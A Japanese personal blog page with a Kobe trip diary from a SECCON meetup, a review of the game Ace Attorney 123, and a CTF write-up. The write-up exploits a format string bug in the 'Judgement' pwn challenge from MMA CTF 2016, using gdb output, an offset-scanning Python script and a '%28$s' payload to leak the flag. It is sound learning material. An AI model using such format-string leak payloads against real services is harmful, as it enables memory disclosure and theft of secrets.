神戸旅行してきました

 2016/12/10に神戸でみんなで集まってSECCONに挑戦しようという集まりがあったので行ってきました。
 
SECCON自体の結果はお察しでしたが、目的の半分は旅行だったのでまあいいかなって感じです笑
 
 たまたま会場の近くでルミナリエが開催されていたのでせっかくなので楽しんできました。関西だとルミナリエは有名らしいです。

 

f:id:HowMuch:20170108235320j:plain  f:id:HowMuch:20170108235447j:plain

 

めっちゃ綺麗でした!もうこれだけで神戸まで来て良かったと思えるくらい。

 

f:id:HowMuch:20170108235435j:plain

 

 帰りは道頓堀に寄って串カツやたこ焼き食べて帰りました。旨かった。
 
f:id:HowMuch:20170109000245j:plain  f:id:HowMuch:20170109000256j:plain

f:id:HowMuch:20170109000230j:plain

 

 土曜日の朝新幹線で神戸に向かってほぼ徹夜でCTFやって、次の日の夜には帰宅だったのであまりのんびりはできませんでしたがいい思い出になりました。
 
 三時間かからずに東京から神戸まで行けてしまったので日本がいきなり狭く感じるようになったかな笑
 

逆転裁判123 成歩堂セレクション レビュー

紹介

 

逆転裁判123 成歩堂セレクション Best Price!
 

 

感想

 成歩堂龍一三部作が一本になったお得なソフトです。
裁判で証言の矛盾に証拠を突き付けて無罪に持ち込んでいくという変わったゲームです。
3DSソフトですが3D機能はいらんと思います笑。
レイトン教授VS逆転裁判」以外にこのシリーズをまともにプレイしたことがなかったので楽しみでした。
 
 一作目: 初逆転裁判と言ってもいい位でしたがすぐに作品に慣れることができました。
最終章に向けて伏線が収束していく感じが良くできていると思います。
蘇る逆転で追加されたエピソードでは科学捜査なんかも追加されていて従来の操作よりも能動的に楽しめるようになった気がします。
一番お気に入りのエピソードもやっぱ蘇る逆転ですね。
最後の突きつけのロジックは興奮ものでした。
真宵ちゃんかわいい。
 
 二作目:若干難易度up?というかごちゃごちゃした謎が増えて論理の飛躍が求められた気がします。
ストーリー的にも特筆すべきものもなかった気がします。
 
三作目:最終章に向けて物語が深くなっていきます。
新キャラクターたちと一作目からの因縁が混ざって三部作の集大成となる作品でした。
前作よりも難易度は下がって解いていて気持ちのいい謎が増えたのではないかと思います。
個人的には最終章の御剣VS狩魔の法廷バトルが好きですね。
歴代の敵が法廷で時間を稼いでくれるというバトル漫画の王道みたいでわくわくしました笑
 
 矛盾を指摘して謎を解くというのは他の作品では味わえない快感だと思うので謎解き、推理ゲームが好きな人には是非おすすめです。

こんな人にオススメ!

関連記事

MMA CTF 2nd 2016 writeup

f:id:HowMuch:20160905114239p:plain

SOLUTION

Judgement [pwn]

 指定されたサーバにncで接続するとFlagを聞かれる。 いろいろ試すとフォーマットストリングバグが見受けられるのでインフォメーションリークを狙う。

Flag judgment system
Input flag >> %08x
00000004
Wrong flag...

 次に配布されてる実行ファイルと、自前のflag.txtをローカルに用意して解析。

root@kali:~/ctf/mma/judgement# objdump -D judgement -M intel |grep flag
 80486f0:   e8 fe 00 00 00          call   80487f3 <load_flag>
080487f3 <load_flag>:
 8048813:   75 07                   jne    804881c <load_flag+0x29>
 804881a:   eb 4b                   jmp    8048867 <load_flag+0x74>
 8048837:   75 07                   jne    8048840 <load_flag+0x4d>
 804883e:   eb 27                   jmp    8048867 <load_flag+0x74>
 804885a:   74 06                   je     8048862 <load_flag+0x6f>
0804a0a0 <flag>:

それっぽい関数があるのでgdbで調べると0x804a0a0にFlagの文字列が置かれていることがわかる。

gdb-peda$ telescope
0000| 0xffffd330 --> 0xffffd3dc ("AAAA")
0004| 0xffffd334 --> 0x804a0a0 ("This is Flag!")
0008| 0xffffd338 --> 0xf7ffdaf0 --> 0xf7ffda94 --> 0xf7fb72b8 --> 0xf7ffd938 --> 0x0 
0012| 0xffffd33c --> 0xf7fb72e8 --> 0x8048397 ("GLIBC_2.0")
0016| 0xffffd340 --> 0x1 
0020| 0xffffd344 --> 0x1 
0024| 0xffffd348 --> 0x0 
0028| 0xffffd34c --> 0xa ('\n')

offsetを調べたいが、入力文字数に限界があるためスクリプトで調べる。

import sys, subprocess
n = int(sys.argv[1])
for i in range(n):
    offset = i
    p = "({}):%{}$p".format(offset, offset)
    payload = "AAAA"
    payload += p

    cmd = "echo \'{}\' | ./judgement".format(payload)
    subprocess.call(cmd, shell=True)
root@kali:~/ctf/mma/judgement# python genformat.py 100|grep 0x41414141
Input flag >> AAAA(43):0x41414141

定石通りにFlagを取り出そうとすると、printableでないバイナリデータは弾かれる。ここでいったん詰む...orz

root@kali:~/ctf/mma/judgement# python -c 'print("\xa0\xa0\x04\x08%43$s")'|./judgement 
Flag judgment system
Input flag >> Unprintable character

よく考えたら0x804a0a0という値が%sで参照できればいいだけなので、先ほどのスクリプトでこの値を探すと二か所見つかる。

root@kali:~/ctf/mma/judgement# python genformat.py 100|grep 0x804a0a0
Input flag >> AAAA(28):0x804a0a0
Input flag >> AAAA(32):0x804a0a0

よってoffset 28としてFlagが取れる。

Flag judgment system
Input flag >> %28$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...

Flag:TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

COMMENT

 正直Warmupの時点できつかった。まだまだ経験値が足りてないかな~という感じです。

 Cryptoも手付けたかったのに変なところで時間削って問題すら読めなくて残念。もっと時間配分とか集中力とか技術以外のところも検討してみる必要がある気がします。

 Web担当がチームに一人いてくれると助かるんだけどな~